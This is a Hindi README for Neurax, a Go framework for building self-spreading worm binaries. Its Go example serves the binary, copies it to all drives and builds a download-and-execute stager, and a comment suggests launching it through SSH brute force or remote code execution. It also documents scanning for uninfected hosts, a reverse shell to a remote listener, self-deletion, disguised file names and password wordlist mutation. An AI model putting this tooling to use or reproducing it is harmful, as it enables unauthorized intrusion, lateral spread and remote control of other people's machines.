
स्व-प्रसार बाइनरी बनाने के लिए एक फ्रेमवर्क
एक ढाँचा जो स्व-प्रसार सॉफ्टवेयर के निर्माण में सहायता करता है
Neurax की सहायता से, Golang बायनेरिज़ LAN/WAN पर बिना किसी बाहरी सर्वर के फैल सकते हैं। विविध कॉन्फ़िग विकल्प और कमांड स्टेजर विभिन्न वायरलेस वातावरणों में तेजी से प्रसार की अनुमति देते हैं।
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
unlinkat(2) के माध्यम से स्वचालित स्व-हटानाN.StagerBg)N.NoInfectCheck यह जाँच अक्षम करने के लिए कि होस्ट पहले से संक्रमित है या नहीं।NeuraxServer() के अंदर रखे गए अनन्य फ़ाइल म्यूटेक्स के साथ लागू की गई।httrack स्टेजरN.StagerRemovalDelay).FastScan विकल्प जो सक्रिय स्कैन को थोड़ा तेज़ बनाता हैNeuraxScan() तर्क के रूप में चैनल के बजाय एक कॉलबैक फ़ंक्शन स्वीकार करता है।NeuraxScan() अनंत लूप में स्कैन करता है जिसमें पूरे सबनेट/लक्ष्यों के पूल के प्रत्येक स्कैन के बीच अंतराल सेट करने की संभावना होती हैNeuraxConfig. N. बन गया (क्योंकि टाइप करना छोटा है)wget + curl).WordlistExpand जैसे विकल्पों के साथ)फ़ंक्शन NeuraxScan(func(string)) स्थानीय नेटवर्क पर सक्रिय होस्ट का पता लगाने में सक्षम बनाता है।
इसका एकमात्र तर्क एक कॉलबैक फ़ंक्शन है जो प्रत्येक सक्रिय होस्ट के लिए पृष्ठभूमि में कॉल किया जाता है।
होस्ट को सक्रिय तब माना जाता है जब उसके पास कम से कम 1 खुला पोर्ट हो, वह पहले से संक्रमित न हो, और N. के अंदर निर्दिष्ट शर्तों को पूरा करता हो।
NeuraxScan() अनंत लूप के रूप में चलता है - यह .Cidr कॉन्फ़िग प्रविष्टि द्वारा निर्दिष्ट पूरे सबनेट को स्कैन करता है और जब हर होस्ट स्कैन हो जाता है, तो फ़ंक्शन .ScanInterval में दिए गए अंतराल के लिए सोता है।
Neurax बाइनरी को वायरलेस माध्यमों का उपयोग करके स्वयं की प्रतिलिपि बनाने की आवश्यकता नहीं है।
फ़ंक्शन NeuraxDisks() वर्तमान बाइनरी (गैर-संदिग्ध नाम के तहत) को सभी मिले लॉजिकल ड्राइव में कॉपी करता है।
कॉपी की गई बाइनरी निष्पादित नहीं की जाती है, बल्कि चलाए जाने की प्रतीक्षा में अपने गंतव्य पर रहती है।
NeuraxDisks() एक error देता है यदि डिस्क की सूची प्राप्त नहीं की जा सकती या किसी गंतव्य पर प्रतिलिपि बनाना असंभव था।
एक अन्य फ़ंक्शन, NeuraxZIP(num_files int) err वर्तमान बाइनरी वाला एक यादृच्छिक नामित .zip संग्रह बनाने की अनुमति देता है।
यह वर्तमान निर्देशिका में सहेजा जाता है, और इसमें अधिकतम num_files यादृच्छिक फ़ाइलें होती हैं।
NeuraxZIPSelf() बस वर्तमान बाइनरी को ज़िप करता है, एक संग्रह बनाता है जिसका नाम समान होता है।
NeuraxReverse() के साथ एक इंटरैक्टिव रिवर्स शेल स्थापित किया जा सकता है।
यह .ReverseListener के अंदर निर्दिष्ट होस्टनाम से "<host>:<port>" के रूप में कमांड प्राप्त करेगा।
उपयोग किया जाने वाला प्रोटोकॉल .ReverseProto के तहत परिभाषित है
यदि इस फ़ंक्शन को कॉल करने से पहले NeuraxOpenComm() शुरू किया गया था, तो प्रत्येक कमांड ऊपर अनुभाग में वर्णित अनुसार व्यवहार करेगा।
यदि नहीं, तो कमांड स्थानीय रूप से निष्पादित होंगे।
नोट: इस फ़ंक्शन को प्राप्त करने के लिए उपयोग किए जाने वाले अनंत लूप के कारण ब्लॉकिंग को रोकने के लिए इसे गोरोटीन के रूप में भी चलाया जाना चाहिए।
जब भी किसी नोड द्वारा "purge" कमांड प्राप्त होता है, तो वह इस कमांड को अन्य सभी नोड्स को पुनः भेजता है, स्वयं को होस्ट से हटा देता है और बाहर निकल जाता है।
यह व्यवहार स्रोत में कहीं निष्पादित NeuraxPurge() का उपयोग करके भी शुरू किया जा सकता है।
यदि आपकी पसंद का प्रसार वेक्टर किसी प्रकार के ब्रूटफोर्स पर आधारित है, तो एक उचित वर्डलिस्ट तैयार रखना अच्छा है।
क्लाइंट साइड पर टेक्स्ट-फ़ाइल में शब्दों को संग्रहीत करना वास्तव में प्रभावी नहीं है, इसलिए आप NeuraxWordlist(...words) []string का उपयोग करके एक मूल वर्डलिस्ट को म्यूटेट कर सकते हैं।
दिए गए शब्दों के एक सेट को क्रमपरिवर्तित करने के लिए, NeuraxWordlistPermute(..words) []string का उपयोग करें।
यदि आप चाहते हैं कि आपकी बाइनरी दिए गए समय के बाद स्वयं को हटा ले, तो अपने कोड की शुरुआत में NeuraxSetTTL() का उपयोग करें।
इस फ़ंक्शन को गोरोटीन के रूप में लॉन्च किया जाना चाहिए।
उदाहरण के लिए:
go NeuraxSetTTL("2m")
प्रारंभिक निष्पादन के 2 मिनट बाद बाइनरी NeuraxPurgeSelf() चलाएगा।
यदि आप दिए गए प्लेटफ़ॉर्म के लिए उपलब्ध सभी स्टेजर को श्रृंखलित करना चाहते हैं, तो .Stager को "chain" पर सेट करें।
यदि आपको प्रारंभिक निष्पादन के बाद बाइनरी की प्रतिलिपि बनाने की आवश्यकता है, तो NeuraxMigrate(path string) का उपयोग करें।
यह बाइनरी को path के अंतर्गत कॉपी करेगा, वर्तमान बाइनरी को हटा देगा और नव प्रवासित बाइनरी को निष्पादित करेगा।
यदि आपको यह प्रोजेक्ट पसंद है और इसे बढ़ते देखना चाहते हैं, तो कृपया एक छोटा सा दान करने पर विचार करें :>
यह सॉफ़्टवेयर MIT लाइसेंस के अंतर्गत है
| नाम | विवरण | डिफ़ॉल्ट मान |
|---|
| Nrx.Config.Stager | उपयोग करने के लिए कमांड स्टेजर का नाम | यादृच्छिक, प्लेटफ़ॉर्म-संगत |
| Nrx.Config.StagerSudo | यदि true, तो Linux cmd स्टेजर ऊंचे विशेषाधिकारों के साथ निष्पादित होते हैं | false |
| Nrx.Config.StagerRetry | कमांड स्टेजर को पुनः निष्पादित करने की संख्या | 0 |
| Nrx.Config.StagerRemoveDelay | डाउनलोड की गई बाइनरी को हटाने से पहले स्लीप निर्देश लागू किया जाता है | true |
| Nrx.Config.Port | सेवा के लिए पोर्ट | 6741 |
| Nrx.Config.Platform | लक्ष्य प्लेटफ़ॉर्म | स्वचालित रूप से पहचाना गया |
| Nrx.Config.Path | वह पथ जिसके अंतर्गत बाइनरी होस्ट पर सहेजी जाती है | . |
| Nrx.Config.FileName | वह नाम जिसके तहत डाउनलोड की गई बाइनरी को सेवा और फिर सहेजा जाना चाहिए | यादृच्छिक |
| Nrx.Config.Base64 | स्थानांतरित बाइनरी को base64 में एनकोड करें | false |
| Nrx.Config.CommPort | वह पोर्ट जिसका उपयोग बाइनरी एक दूसरे से संवाद करने के लिए करती हैं | 7777 |
| Nrx.Config.CommProto | नोड्स के बीच संचार के लिए प्रोटोकॉल | "udp" |
| Nrx.Config.ReverseListener | रिमोट रिवर्स शेल हैंडलर का "<host>:<port>" शामिल है | निर्दिष्ट नहीं |
| Nrx.Config.ReverseProto | रिवर्स कनेक्शन के लिए उपयोग करने का प्रोटोकॉल | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() होस्ट को सक्रिय तभी मानता है जब उस पर कोई विशिष्ट पोर्ट खुला हो | none |
| Nrx.Config.ScanPassive | NeuraxScan() निष्क्रिय ARP ट्रैफ़िक निगरानी का उपयोग करके होस्ट का पता लगाता है | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() ARP लेयर की इतने सेकंड तक निगरानी करता है | 50 सेकंड |
| Nrx.Config.ScanPassiveIface | निष्क्रिय रूप से स्कैन करते समय उपयोग करने के लिए इंटरफ़ेस | डिफ़ॉल्ट |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() इस मान को प्रत्येक थ्रेड में स्कैन किए गए पोर्ट के लिए टाइमआउट के रूप में सेट करता है | 2 सेकंड |
| Nrx.Config.ScanPassiveAll | NeuraxScan() सभी मिले उपकरणों पर पैकेट कैप्चर करता है | false |
| Nrx.Config.ScanPassiveNoArp | निष्क्रिय स्कैन सख्त ARP कैप्चर फ़िल्टर सेट नहीं करता | false |
| Nrx.Config.ScanFirst | पहले स्कैन करने के लिए IP पतों वाला एक स्लाइस | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() केवल .ScanFirst के अंदर निर्दिष्ट होस्ट को स्कैन करता है | false |
| Nrx.Config.ScanArpCache | NeuraxScan() पहले स्थानीय ARP कैश में मिले होस्ट को स्कैन करता है। केवल सक्रिय स्कैन के साथ काम करता है | false |
| Nrx.Config.ScanCidr | NeuraxScan() इस CIDR को स्कैन करता है | local IP + "\24" |
| Nrx.Config.ScanActiveThreads | NeuraxScan() के लिए उपयोग करने के लिए थ्रेड्स की संख्या | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() लक्ष्य होस्ट के सभी पोर्ट को स्कैन करता है ताकि यह निर्धारित किया जा सके कि वह सक्रिय है या नहीं | 19 से 300 तक |
| Nrx.Config.ScanInterval | पूरे सबनेट को फिर से स्कैन करने से पहले सोने का समय अंतराल | "2m" |
| Nrx.Config.ScanHostInterval | सक्रिय मोड में अगले होस्ट को स्कैन करने से पहले सोने का समय अंतराल | "none" |
| Nrx.Config.ScanGatewayFirst | गेटवे सक्रिय स्कैन का उपयोग करने पर स्कैन किया जाने वाला पहला होस्ट है | false |
| Nrx.Config.Verbose | यदि true, तो सभी त्रुटि संदेश STDOUT पर मुद्रित होते हैं | false |
| Nrx.Config.Remove | जब कोई त्रुटि होती है, तो बाइनरी स्वयं को होस्ट से हटा देती है | false |
| Nrx.Config.PreventReexec | यदि true, तो जब कोई कमांड पहले प्राप्त किए गए कमांड से मेल खाता है, तो उसे निष्पादित नहीं किया जाता | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() इनपुट शब्दों पर गैर-मानक रूपांतरण करता है | false |
| Nrx.Config.WordlistCommon | वर्डलिस्ट में 20 सबसे सामान्य पासवर्ड जोड़ें | false |
| Nrx.Config.WordlistCommonNum | उपयोग करने के लिए सामान्य पासवर्ड की संख्या | सभी |
| Nrx.Config.WordlistCommonCountries | एक map[string]int जिसमें देश कोड और उपयोग करने के लिए पासवर्ड की संख्या है | map[string]int |
| Nrx.Config.WordlistMutators | जब .WordlistExpand निर्दिष्ट किया जाता है तो उपयोग करने के लिए म्यूटेटर | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | NeuraxWordlistPermute() द्वारा उत्पन्न क्रमपरिवर्तन की अधिकतम लंबाई | 2 |
| Nrx.Config.WordlistPermuteSeparator | क्रमपरिवर्तन के लिए उपयोग करने के लिए एक विभाजक वर्ण | "-" |
| Nrx.Config.WordlistShuffle | लौटाने से पहले उत्पन्न वर्डलिस्ट को फेरबदल करें | false |
| Nrx.Config.AllocNum | यह प्रविष्टि परिभाषित करती है कि NeuraxAlloc() कितनी बार यादृच्छिक मेमोरी आवंटित करता है | 5 |
| Nrx.Config.Blacklist | स्लाइस जिसमें IP पते हैं जो किसी भी प्रकार के स्कैनिंग से बाहर रखे गए हैं | []string{} |
| Nrx.Config.FastHTTP | IsHostInfected() में HTTP अनुरोध fasthttp लाइब्रेरी का उपयोग करके किया जाता है | false |
| Nrx.Config.Debug | डीबग संदेश सक्षम करें | false |
| Nrx.Config.NoInfectCheck | यह जाँच अक्षम करें कि होस्ट पहले से संक्रमित है या नहीं | true |